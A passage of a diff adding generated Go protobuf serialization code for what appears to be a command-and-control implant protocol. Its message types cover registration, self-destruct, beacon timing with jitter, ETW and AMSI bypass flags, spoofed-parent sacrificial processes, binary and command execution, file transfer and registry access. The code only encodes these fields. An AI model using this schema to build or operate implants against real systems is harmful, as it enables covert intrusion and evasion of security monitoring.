copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PtyResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PtyResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *PtyResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Metadata) > 0 { + for k := range m.Metadata { + v := m.Metadata[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x3a + } + } + if len(m.ActiveSessions) > 0 { + for iNdEx := len(m.ActiveSessions) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.ActiveSessions[iNdEx]) + copy(dAtA[i:], m.ActiveSessions[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ActiveSessions[iNdEx]))) + i-- + dAtA[i] = 0x32 + } + } + if m.SessionActive { + i-- + if m.SessionActive { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if len(m.Error) > 0 { + i -= len(m.Error) + copy(dAtA[i:], m.Error) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Error))) + i-- + dAtA[i] = 0x22 + } + if len(m.OutputText) > 0 { + i -= len(m.OutputText) + copy(dAtA[i:], m.OutputText) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputText))) + i-- + dAtA[i] = 0x1a + } + if len(m.OutputData) > 0 { + i -= len(m.OutputData) + copy(dAtA[i:], m.OutputData) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputData))) + i-- + dAtA[i] = 0x12 + } + if len(m.SessionId) > 0 { + i -= len(m.SessionId) + copy(dAtA[i:], m.SessionId) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SessionId))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *CommonBody) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *CommonBody) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *CommonBody) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.BytesArray) > 0 { + for iNdEx := len(m.BytesArray) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.BytesArray[iNdEx]) + copy(dAtA[i:], m.BytesArray[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.BytesArray[iNdEx]))) + i-- + dAtA[i] = 0x52 + } + } + if len(m.StringArray) > 0 { + for iNdEx := len(m.StringArray) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.StringArray[iNdEx]) + copy(dAtA[i:], m.StringArray[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StringArray[iNdEx]))) + i-- + dAtA[i] = 0x42 + } + } + if len(m.BoolArray) > 0 { + for iNdEx := len(m.BoolArray) - 1; iNdEx >= 0; iNdEx-- { + i-- + if m.BoolArray[iNdEx] { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.BoolArray))) + i-- + dAtA[i] = 0x32 + } + if len(m.U64Array) > 0 { + var pksize2 int + for _, num := range m.U64Array { + pksize2 += protobuf_go_lite.SizeOfVarint(uint64(num)) + } + i -= pksize2 + j1 := i + for _, num := range m.U64Array { + for num >= 1<<7 { + dAtA[j1] = uint8(uint64(num)&0x7f | 0x80) + num >>= 7 + j1++ + } + dAtA[j1] = uint8(num) + j1++ + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(pksize2)) + i-- + dAtA[i] = 0x22 + } + if len(m.U32Array) > 0 { + var pksize4 int + for _, num := range m.U32Array { + pksize4 += protobuf_go_lite.SizeOfVarint(uint64(num)) + } + i -= pksize4 + j3 := i + for _, num := range m.U32Array { + for num >= 1<<7 { + dAtA[j3] = uint8(uint64(num)&0x7f | 0x80) + num >>= 7 + j3++ + } + dAtA[j3] = uint8(num) + j3++ + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(pksize4)) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Ping) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Nonce != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Nonce)) + } + n += len(m.unknownFields) + return n +} + +func (m *Register) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Proxy) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Module) > 0 { + for _, s := range m.Module { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if len(m.Addons) > 0 { + for _, e := range m.Addons { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if m.Timer != nil { + l = m.Timer.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Sysinfo != nil { + l = m.Sysinfo.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Secure != nil { + l = m.Secure.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Secure) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Enable { + n += 2 + } + l = len(m.Key) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.PublicKey) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *KeyExchangeRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.PublicKey) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Signature) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Timestamp != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Timestamp)) + } + l = len(m.Nonce) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *KeyExchangeResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.PublicKey) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Init) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Data) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *SysInfo) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Filepath) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Workdir) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.IsPrivilege { + n += 2 + } + if m.Os != nil { + l = m.Os.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Process != nil { + l = m.Process.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Suicide) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Type != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Type)) + } + if m.Timestamp != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Timestamp)) + } + n += len(m.unknownFields) + return n +} + +func (m *Request) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Input) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Args) > 0 { + for _, s := range m.Args { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if len(m.Params) > 0 { + for k, v := range m.Params { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Response) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Output) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Error) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Kv) > 0 { + for k, v := range m.Kv { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + if len(m.Array) > 0 { + for _, s := range m.Array { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *BypassRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.ETW { + n += 2 + } + if m.AMSI { + n += 2 + } + if m.BlockDll { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *NetInterface) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Index != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Index)) + } + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Mac) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.IpAddresses) > 0 { + for _, s := range m.IpAddresses { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *SockTabEntry) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.LocalAddr) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.RemoteAddr) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.SkState) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Pid) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Protocol) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *NetstatResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Socks) > 0 { + for _, e := range m.Socks { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *Block) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.BlockId != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.BlockId)) + } + l = len(m.Content) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.End { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *ACK) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Id != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Id)) + } + if m.Success { + n += 2 + } + if m.End { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *Os) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Version) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Release) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Arch) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Username) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Hostname) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Locale) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.ClrVersion) > 0 { + for _, s := range m.ClrVersion { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *Process) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Pid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Pid)) + } + if m.Ppid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Ppid)) + } + l = len(m.Owner) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Arch) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Args) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Uid) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Timer) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Expression) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Jitter != 0 { + n += 9 + } + n += len(m.unknownFields) + return n +} + +func (m *FileInfo) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.IsDir { + n += 2 + } + if m.Size != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Size)) + } + if m.ModTime != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.ModTime)) + } + if m.Mode != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Mode)) + } + l = len(m.Link) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *SacrificeProcess) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Hidden { + n += 2 + } + if m.BlockDll { + n += 2 + } + if m.Etw { + n += 2 + } + if m.Ppid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Ppid)) + } + l = len(m.Argue) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *LsResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Exists { + n += 2 + } + if len(m.Files) > 0 { + for _, e := range m.Files { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *DriveInfo) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.DriveType) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.TotalSize != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.TotalSize)) + } + if m.FreeSize != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.FreeSize)) + } + l = len(m.FileSystem) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *EnumDriversResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Drives) > 0 { + for _, e := range m.Drives { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *PsResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Processes) > 0 { + for _, e := range m.Processes { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *ExecRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Args) > 0 { + for _, s := range m.Args { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if m.Output { + n += 2 + } + if m.Singleton { + n += 2 + } + if m.Realtime { + n += 2 + } + if m.Ppid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Ppid)) + } + n += len(m.unknownFields) + return n +} + +func (m *ExecResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.StatusCode != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.StatusCode)) + } + l = len(m.Stdout) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Stderr) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Pid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Pid)) + } + if m.End { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *BinaryResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Data) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Message) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Status != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Status)) + } + l = len(m.Err) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Modules) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Modules) > 0 { + for _, s := range m.Modules { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *Addons) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Addons) > 0 { + for _, e := range m.Addons { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *Addon) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Depend) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *LoadModule) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Bundle) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *LoadAddon) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Depend) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ExecuteAddon) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Addon) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.ExecuteBinary != nil { + l = m.ExecuteBinary.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ExecuteBinary) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Param) > 0 { + for k, v := range m.Param { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.ProcessName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Args) > 0 { + for _, s := range m.Args { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + l = len(m.EntryPoint) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Data) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Output { + n += 2 + } + if m.Arch != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Arch)) + } + if m.Timeout != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Timeout)) + } + if m.Sacrifice != nil { + l = m.Sacrifice.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Context) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Delay != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Delay)) + } + n += len(m.unknownFields) + return n +} + +func (m *ExecuteCommand) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Command) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Sacrifice != nil { + l = m.Sacrifice.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *UploadRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Target) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Priv != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Priv)) + } + l = len(m.Data) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Hidden { + n += 2 + } + if m.Override { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *DownloadRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.BufferSize != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.BufferSize)) + } + if m.Dir { + n += 2 + } + if m.Cur != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Cur)) + } + n += len(m.unknownFields) + return n +} + +func (m *DownloadResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Checksum) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Size != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Size)) + } + if m.Cur != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Cur)) + } + l = len(m.Content) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *CurlRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Url) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Timeout != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Timeout)) + } + l = len(m.Method) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Body) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Header) > 0 { + for k, v := range m.Header { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + l = len(m.Hostname) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ChownRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Uid) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Gid) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Recursive { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *IfconfigResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.NetInterfaces) > 0 { + for _, e := range m.NetInterfaces { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *RegistryRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Registry != nil { + l = m.Registry.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Registry) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Hive) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Key) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *RegistryWriteRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Hive) + if 